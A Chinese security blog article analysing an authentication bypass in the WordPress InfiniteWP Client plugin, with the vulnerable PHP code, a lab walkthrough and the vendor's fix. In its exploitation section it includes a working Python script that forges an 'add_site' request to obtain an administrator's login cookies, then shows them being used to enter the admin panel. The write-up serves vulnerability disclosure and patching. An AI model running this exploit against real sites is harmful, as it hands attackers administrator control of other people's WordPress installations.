前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >关于WordPress InfiniteWP Client的身份认证绕过漏洞的分析与利用

关于WordPress InfiniteWP Client的身份认证绕过漏洞的分析与利用

作者头像
FB客服
发布2020-04-21 15:19:44
8250
发布2020-04-21 15:19:44
举报
文章被收录于专栏:FreeBufFreeBuf

前言

InfiniteWP Client是一个WordPress插件,当它与InfiniteWP Admin Panel结合使用时,可以方便快捷地集中管理多个WordPress站点。InfiniteWP Client<=1.9.4.4的版本被曝出了一个身份认证绕过漏洞。目前InfiniteWP Client安装在30多万个WordPress站点上,因此该漏洞的影响面非常广。本文详细分析了该漏洞,并且对其进行了利用。

实验环境

1.测试工具:BurpSuite v2.1 2.目标主机:Debian9.6 x64 3.软件版本:WordPress 5.2.2 4.插件版本:iwp-client.1.9.4.4

漏洞分析

1.问题主要出在函数iwp_mmb_set_request()中,该函数检查IWP_MMB_Core类的request_params变量是否为空。若iwp_mmb_core->request_params的值为空,则返回false;若不为空,则后续会判断变量params['username']已设置且该用户未登录,那么接下来使用iwp_mmb_get_user_by函数获取用户信息,然后使用wp_set_auth_cookie为给定的params['username']设置登录cookie。但是params['username']的值从何而来?在以下代码中,我们看到params =

代码语言:javascript
复制
if (!function_exists ('iwp_mmb_set_request')) {
    function iwp_mmb_set_request(){
        global $current_user, $iwp_mmb_core, $new_actions, $wp_db_version, $wpmu_version, $_wp_using_ext_object_cache, $iwp_mmb_activities_log;
        if (is_user_logged_in()) {
            iwp_plugin_compatibility_fix();
        }
        if (empty($iwp_mmb_core->request_params)) {
            return false;
        }
        $params = $iwp_mmb_core->request_params;
        $action = $iwp_mmb_core->request_params['iwp_action'];
        $is_save_activity_log  = $iwp_mmb_core->request_params['is_save_activity_log'];
        if ($action == 'maintain_site') {
            iwp_mmb_maintain_site($params);
            iwp_mmb_response(array('error' => 'You should never see this.', 'error_code' => 'you_should_never_see_this'), false);
        }
        @ignore_user_abort(true);
        $GLOBALS['IWP_CLIENT_HISTORY_ID'] = $iwp_mmb_core->request_params['id'];
        iwp_mmb_backup_db_changes();
        if(isset($params['username']) && !is_user_logged_in()){
            $user = function_exists('get_user_by') ? get_user_by('login', $params['username']) : iwp_mmb_get_user_by( 'login', $params['username'] );
            if (isset($user) && isset($user->ID)) {
                wp_set_current_user($user->ID);
                update_user_meta($user->ID, 'last_login_time', current_time('mysql'));
            }
            $isHTTPS = (bool)is_ssl();
            if($isHTTPS){
                wp_set_auth_cookie($user->ID);
            }else{
                wp_set_auth_cookie($user->ID, false, false);
                wp_set_auth_cookie($user->ID, false, true);
            }
        }

2.iwp_mmb_core->request_params的值又是从何而来?追溯

代码语言:javascript
复制
if( !function_exists ('iwp_mmb_parse_request')) {
    function iwp_mmb_parse_request()
{
        global $HTTP_RAW_POST_DATA, $iwp_mmb_activities_log;
        $HTTP_RAW_POST_DATA_LOCAL = NULL;
        $HTTP_RAW_POST_DATA_LOCAL = file_get_contents('php://input');
        if(empty($HTTP_RAW_POST_DATA_LOCAL)){
            if (isset($HTTP_RAW_POST_DATA)) {
                $HTTP_RAW_POST_DATA_LOCAL = $HTTP_RAW_POST_DATA;
            }
        }

        global $current_user, $iwp_mmb_core, $new_actions, $wp_db_version, $wpmu_version, $_wp_using_ext_object_cache;
        if (strrpos($HTTP_RAW_POST_DATA_LOCAL, '_IWP_JSON_PREFIX_') !== false) {
            $request_data_array = explode('_IWP_JSON_PREFIX_', $HTTP_RAW_POST_DATA_LOCAL);
            $request_raw_data = $request_data_array[1];
            $data = trim(base64_decode($request_raw_data));
            $GLOBALS['IWP_JSON_COMMUNICATION'] = 1;
        }else{
            $data = false;
            $request_raw_data = $HTTP_RAW_POST_DATA_LOCAL;
            $serialized_data = trim(base64_decode($request_raw_data));
            if (is_serialized($serialized_data)) {
                    iwp_mmb_response(array('error' => 'Please update your IWP Admin Panel to latest version', 'error_code' => 'update_panel'), false, true);
            }
        }

        if ($data){
            $request_data = json_decode($data, true);
            if(isset($request_data['params'])){ 
                $request_data['params'] = iwp_mmb_filter_params($request_data['params']);
            }
            if (isset($GLOBALS['IWP_JSON_COMMUNICATION']) && $GLOBALS['IWP_JSON_COMMUNICATION']) {
                $signature  = base64_decode($request_data['signature']);
            }else{
                $signature  = $request_data['signature'];
            }
            $iwp_action                     = $request_data['iwp_action'];
            $params                         = $request_data['params'];
            $id                             = $request_data['id'];
            if(isset($request_data['is_save_activity_log'])) {
                $is_save_activity_log    = $request_data['is_save_activity_log'];
            }
            $GLOBALS['activities_log_datetime'] = $request_data['activities_log_datetime'];
        }
        if (isset($iwp_action) && $iwp_action != 'restoreNew') {
            if(!defined('IWP_AUTHORISED_CALL')) define('IWP_AUTHORISED_CALL', 1);
            if(function_exists('register_shutdown_function')){ register_shutdown_function("iwp_mmb_shutdown"); }
            $GLOBALS['IWP_MMB_PROFILING']['ACTION_START'] = microtime(1);

            error_reporting(0);
            @ini_set("display_errors", 0);

            run_hash_change_process();
            iwp_plugin_compatibility_fix();
            $action = $iwp_action;
            $_wp_using_ext_object_cache = false;
            @set_time_limit(600);

            if (!$iwp_mmb_core->check_if_user_exists($params['username']))
                iwp_mmb_response(array('error' => 'Username ' . $params['username'] . ' does not have administrative access. Enter the correct username in the site options.', 'error_code' => 'username_does_not_have_administrative_access'), false);

            if ($action == 'add_site') {
                $params['iwp_action'] = $action;
                $iwp_mmb_core->request_params = $params;
                return;
            }elseif ($action == 'readd_site') {
                $params['id'] = $id;
                $params['iwp_action'] = $action;
                $params['signature'] = $signature;
                $iwp_mmb_core->request_params = $params;
                return;
            }

            $auth = $iwp_mmb_core->authenticate_message($action . $id, $signature, $id);
            if ($auth === true) {
                if (!defined('WP_ADMIN') && $action == 'get_stats' || $action == 'do_upgrade' || $action == 'install_addon' || $action == 'edit_plugins_themes' || $action == 'bulk_actions_processor' || $action == 'update_broken_link' || $action == 'undismiss_broken_link') {
                    define('WP_ADMIN', true);
                }
                if ($action == 'get_stats') {
                    iwp_mu_plugin_loader();
                }
                if (is_multisite()) {
                    define('WP_NETWORK_ADMIN', true);
                }else{
                    define('WP_NETWORK_ADMIN', false);
                }
                $params['id'] = $id;
                $params['iwp_action'] = $action;
                $params['is_save_activity_log'] = $is_save_activity_log;
                $iwp_mmb_core->request_params = $params;
            } else {
                iwp_mmb_response($auth, false);
            }
        } else {
            $HTTP_RAW_POST_DATA =  $HTTP_RAW_POST_DATA_LOCAL;
        }

    }
}

3.我们注意到add_site和readd_site这两个操作,当变量action为add_site或者readd_site时,直接对iwp_mmb_core->request_params进行了赋值,并且进行了return,后续的iwp_mmb_core->authenticate_message(id, signature,

漏洞利用

1.进一步分析函数iwp_mmb_parse_request()中的如下代码:

代码语言:javascript
复制
if (strrpos($HTTP_RAW_POST_DATA_LOCAL, '_IWP_JSON_PREFIX_') !== false) {
            $request_data_array = explode('_IWP_JSON_PREFIX_', $HTTP_RAW_POST_DATA_LOCAL);
            $request_raw_data = $request_data_array[1];
            $data = trim(base64_decode($request_raw_data));
            $GLOBALS['IWP_JSON_COMMUNICATION'] = 1;
        }else{
            $data = false;
            $request_raw_data = $HTTP_RAW_POST_DATA_LOCAL;
            $serialized_data = trim(base64_decode($request_raw_data));
            if (is_serialized($serialized_data)) {
                    iwp_mmb_response(array('error' => 'Please update your IWP Admin Panel to latest version', 'error_code' => 'update_panel'), false, true);
            }
        }

        if ($data){
            $request_data = json_decode($data, true);

从上面的代码可以看出,函数iwp_mmb_parse_request()先对request_raw_data进行了base64解码并将其赋值给data,然后又对

2.这里写了一个漏洞利用程序,具体代码如下:

代码语言:javascript
复制
# -*- coding: UTF-8 -*-
import requests
import base64
import json
def exploit(url, username):
    json_info = {"iwp_action": "add_site", "params": {"username": username}}
    try:
        return requests.post(url, timeout=5, verify=False,
            headers={"User-Agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0"},
            data="_IWP_JSON_PREFIX_{}".format(base64.b64encode(json.dumps(json_info).encode("utf-8")).decode("utf-8"))
        )
    except Exception as e:
        print("[-] HTTP Exploit Error: {}".format(e))
    return False
if __name__ == "__main__":
    url = raw_input("[+] 请输入url:")
    username = raw_input("[+] 请输入用户名:")
    site_response = exploit(url, username)
    cookie = ""
    if (site_response and site_response.status_code == requests.codes.ok):
        list = [str(a)+"="+str(b) for a, b in site_response.cookies.items()]
        cookie = "; ".join(list)
    if cookie:
            print("[+] 使用以下Cookies登录:\n{}".format(cookie))
            exit(0)
print("[-] 漏洞利用失败!")

运行上述代码,其中的参数url输入:

代码语言:javascript
复制
http://192.168.110.145/wordpress/wp-admin/

参数用户名输入:admin,在本例中WordPress的管理员用户名为admin,在实际操作中可能需要多次测试才能够得到正确的用户名。运行代码最终获得用于登录的Cookie值。

在浏览器中输入url:

代码语言:javascript
复制
http://192.168.110.145/wordpress/wp-admin/

使用Burpsuite截断代理,使用前面获取到的Cookie值替换截获到的数据包中的Cookie值,如下图所示:

如下图所示,可以看到登录WordPress管理后台成功。

漏洞修复

该漏洞在1.9.4.5版本中得到修复,代码具体如下:

代码语言:javascript
复制
if ($action == 'add_site' || $action == 'readd_site') {
            return false;
        }
        if ($action == 'maintain_site') {
            iwp_mmb_maintain_site($params);
            iwp_mmb_response(array('error' => 'You should never see this.', 'error_code' => 'you_should_never_see_this'), false);
        }
        @ignore_user_abort(true);
        $GLOBALS['IWP_CLIENT_HISTORY_ID'] = $iwp_mmb_core->request_params['id'];
        iwp_mmb_backup_db_changes();
        if(isset($params['username']) && !is_user_logged_in()){
            $user = function_exists('get_user_by') ? get_user_by('login', $params['username']) : iwp_mmb_get_user_by( 'login', $params['username'] );
            if (isset($user) && isset($user->ID)) {
                wp_set_current_user($user->ID);
                // Compatibility with All In One Security
                update_user_meta($user->ID, 'last_login_time', current_time('mysql'));
            }
            $isHTTPS = (bool)is_ssl();
            if($isHTTPS){
                wp_set_auth_cookie($user->ID);
            }else{
                wp_set_auth_cookie($user->ID, false, false);
                wp_set_auth_cookie($user->ID, false, true);
            }
        }

主要是针对变量action增加了一个条件判断,当action为add_site或者readd_site时,函数直接返回false,这样就不涉及后续使用wp_set_auth_cookie来给

总结

本文中的身份认证绕过漏洞是由代码中的逻辑错误造成的,而且恶意流量与正常流量并无明显差别,通过waf设备也很难进行防御,建议将插件InfiniteWP Client升级到最新版本。

*本文作者:Neroqi,转载请注明来自FreeBuf.COM

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-04-17,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 FreeBuf 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言
  • 实验环境
  • 漏洞分析
  • 漏洞利用
  • 漏洞修复
  • 总结
相关产品与服务
网站建设
网站建设(Website Design Service,WDS),是帮助您快速搭建企业网站的服务。通过自助模板建站工具及专业设计服务,无需了解代码技术,即可自由拖拽模块,可视化完成网站管理。全功能管理后台操作方便,一次更新,数据多端同步,省时省心。使用网站建设服务,您无需维持技术和设计师团队,即可快速实现网站上线,达到企业数字化转型的目的。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档